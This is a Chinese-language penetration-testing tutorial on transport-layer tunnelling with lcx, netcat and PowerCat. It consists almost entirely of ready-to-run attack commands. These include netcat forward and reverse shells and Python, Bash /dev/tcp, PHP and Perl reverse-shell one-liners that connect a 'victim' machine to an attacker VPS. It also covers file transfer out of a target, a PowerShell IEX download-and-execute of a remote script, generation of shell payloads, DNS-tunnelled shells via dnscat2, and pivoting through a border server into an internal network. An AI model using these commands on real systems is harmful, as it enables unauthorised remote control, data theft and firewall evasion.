传输层隧道技术

传输层隧道技术

传输层技术包括tcp隧道、udp隧道和常规端口转发。在渗透测试中,如果内网防火墙阻止了对指定端口的访问,在获得目标机器的权限后,可以使用IPTABles打开指定端口。

1 lcx端口转发

下载地址:https://github.com/UndefinedIdentifier/LCX

1.1 内网端口转发

在受害机上执行

1
lcx.exe -slave 192.168.1.4(攻击机公网主机IP) 4444 127.0.0.1 3389

这条命令的意思就是将本机的3389端口转发到攻击机的4444端口上

之后在攻击机上执行

1
lcx.exe -listen 4444 5555

1.2 本地端口映射

由于部分端口受防火墙限制,可以将目标服务器相应端口的数据透传到防火墙允许的其他端口,在目标主机上执行如下命令。就可以直接从远程桌面连接目标主机的53端口。

1
lcx -tran 53 <目标主机IP地址> 3389

2 netcat

安装

1
sudo yum install nc.x86_64

2.1 命令查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nc -h
-g<网关>:设置路由器跃程通信网关,最多设置8个;
-G<指向器数目>:设置来源路由指向器,其数值为4的倍数;
-h:在线帮助;
-i<延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口;
-l:使用监听模式,监控传入的资料;
-n:直接使用ip地址,而不通过域名服务器;
-o<输出文件>:指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p<通信端口>:设置本地主机使用的通信端口;
-r:指定源端口和目的端口都进行随机的选择;
-s<来源位址>:设置本地主机送出数据包的IP地址;
-u:使用UDP传输协议;
-v:显示指令执行过程;
-w<超时秒数>:设置等待连线的时间;
-z:使用0输入/输出模式,只在扫描通信端口时使用。

2.2 简易使用

Banner抓取

1
nc -nv 192.168.137.1 21

连接远程主机

1
nc -nvv 192.168.131.1 80

端口扫描

1
2
3
4
单个端口扫描:
nc -v 192.168.131.1 80
扫描端口段(速度慢):
nc -v -z 192.168.137.1 20-1024

端口监听

1
nc -l -p 9999

文件传输

1
2
3
4
主机vps输入监听:
nc -lp 333 > 1.txt
目标传输一个名为test.txt的文件
nc -vn 192.168.137.1 333 < test.txt -q 1

简易聊天

1
2
3
4
主机vps输入监听:
nc -l -p 888
目标主机输入:
nc -vn 192.168.137.1 888

2.3 获取shell

正向shell

输入以下命令,监听目标主机的4444端口

1
2
nc -lvp 4444 -e /bin/sh            //Linux
nc -lvp 4444 -e c:\windows\system\cmd.exe //windows

在本地或VPS主机上来连接目标主机的4444端口

1
nc 192.168.137.100 4444

反向shell

输入以下命令,在本地或VPS主机上监听本地9999端口

1
nc -lvp 9999

在目标主机中输入以下命令,连接VPS主机192.168.137.1的9999端口

1
2
nc 192.168.137.1 9999 -e /bin/sh                       //Linux
nc 192.168.137.1 9999 -e c:\windows\system32\cmd.exe //windows

2.4 在目标主机中没有nc时获取反向shell

(1)python反向shell

在VPS上监听本地2222端口

1
nc -lvp 2222

在目标主机上执行如下命令

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPS_ip",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

(2)Bash反向shell

在VPS上监听本地4444端口

1
nc -lvp 4444

在目标主机上执行如下命令

1
bash -i >& /dev/tcp/192.168.137.1/4444 0>&1

(3)php反向shell

在VPS上监听本地2222端口

1
nc -lvp 2222

在目标主机上执行如下命令

1
php -r '$sock=fsockopen("192.168.137.1",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

(4)perl反向shell

在VPS上监听本地4444端口

1
nc -lvp 4444

在目标主机上执行如下命令

1
perl -e 'use Socket;$i="VPS_ip";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

2.5 内网代理

在VPS中输入如下命令,监听3333端口

1
nc -lvp 3333

接着在内网服务器执行如下命令

1
nc -lvp 3333 -e /bin/sh

在边界服务器上执行如下命令

1
nc -v 192.168.137.100(边界服务器出口ip) 3333 -c "nc -v 10.10.10.200(内网服务器ip) 3333"

3 PowerCat

PowerCat下载地址:https://github.com/besimorhino/powercat.git

设置权限

1
Set-ExecutionPolicy RemoteSigned

使用前先导入 ps脚本

1
Import-Module .\powercat.ps1

powercat部分参数介绍

1
2
3
4
5
-c 指定一个ip地址
-p 指定一个端口
-v 显示详情
-l 监听模式
-e 程序重定向

3.1 通过nc正向连接Powercat

在目标服务器中执行以下命令

1
powercat -l -p 8080 -e cmd.exe -v

在VPS中执行

1
netcat 边界服务器的出口ip 8080 -vv

3.2 通过nc反向连接powercat

在VPS执行下列命令:

1
netcat -l -p 8888 -vv

在win7(边界服务器)执行:

1
powercat -c 192.168.137.1(VPS的ip) -p 8888 -v -e cmd.exe

3.3 通过Powercat返回Powershell

在Winserver2008(内网服务器)中执行:

1
2
IEX(New-Object Net.WebClient).DownloadString('http://1.1.1.10/powercat.ps1')
powercat -l -v -p 9999

在win7(边界服务器)中执行:

1
powercat -c 10.10.10.201(内网服务器ip) -p 9999 -v -ep

3.4 通过Powercat传输文件

在win7(边界服务器)新建test.txt文件,放在c盘根目录,在winserver2008(内网服务器)中执行下列命令。

1
powercat -l -p 9999 -of test.txt -v

回到win7(边界服务器)中,执行如下命令:

1
powercat -c 10.10.10.201(内网服务器ip) -p 9999 -i c:\test.txt -v

3.5 用PowerCat生成Payload

在Win7(边界服务器)执行下面命令:

1
powercat -l -p 8000 -e cmd -v -g >> shell.ps1

将生成的ps1文件上传到Winserver2008(内网服务器)中并且执行,然后在win7中执行如下命令,就可以获得一个反弹shell:

1
powercat -c 10.10.10.201(内网服务器ip) -p 8000 -v

如果想反弹Powershell,可以执行如下命令:

1
powercat -l -p 8000 -ep -v -g >> shell.ps1

生成经过编码的Payload。在win7(边界服务器)执行如下命令:

1
powercat -c 10.10.10.201(内网服务器ip) -p 9999 -ep -ge

继续在win7(边界服务器)执行:

1
powercat -l -p 9999 -v

3.6 Powercat DNS隧道通信

首先需要安装dnscat,然后在安装了dnscat的linux的VPS主机上执行如下命令:

1
ruby dnscat2.rb ttpowercat.test -e open --no-cache

然后在win7(边界服务器)上执行下面命令,就能看到dnscat上面的反弹shell:

1
powercat -c 192.168.137.1(攻击服务器VPS的ip) -p 53 -dns ttpowercat.test -e cmd.exe

3.7 将Powercat作为跳板

将win7(边界服务器)作为跳板,让Kali(VPS)连接winserver2008(内网服务器)。首先,在winserver2008(内网服务器)中执行:

1
powercat -l -v -p 9999 -e cmd.exe

然后在win7(边界服务器)中执行:

1
powercat -l -v -p 8000 -r tcp:10.10.10.201(内网服务器ip):9999

最后,让kali(VPS)和win7(边界服务器)进行连接,win7(边界服务器)就可以将流量转发给winserver2008(内网服务器)。
在kali(VPS)输入:

1
nc 192.168.137.100(边界服务器出口ip) 8000 -vv

成功连接。
在这里也可以使用DNS协议。在win7(边界服务器)中执行如下命令:

1
powercat -l -p 8000 -r dns::192.168.137.1(攻击服务器VPS的ip)::ttpowercat.test

在kali(VPS)中输入如下命令,启动dnscat

1
ruby dnscat2.rb ttpowercat.test -e open --no-cache

在winserver2008内网服务器)中输入下面命令,就可以反弹shell了

1
powercat -c -10.10.10.200(边界服务器的内网ip) -p 8000 -v -e cmd.exe
0%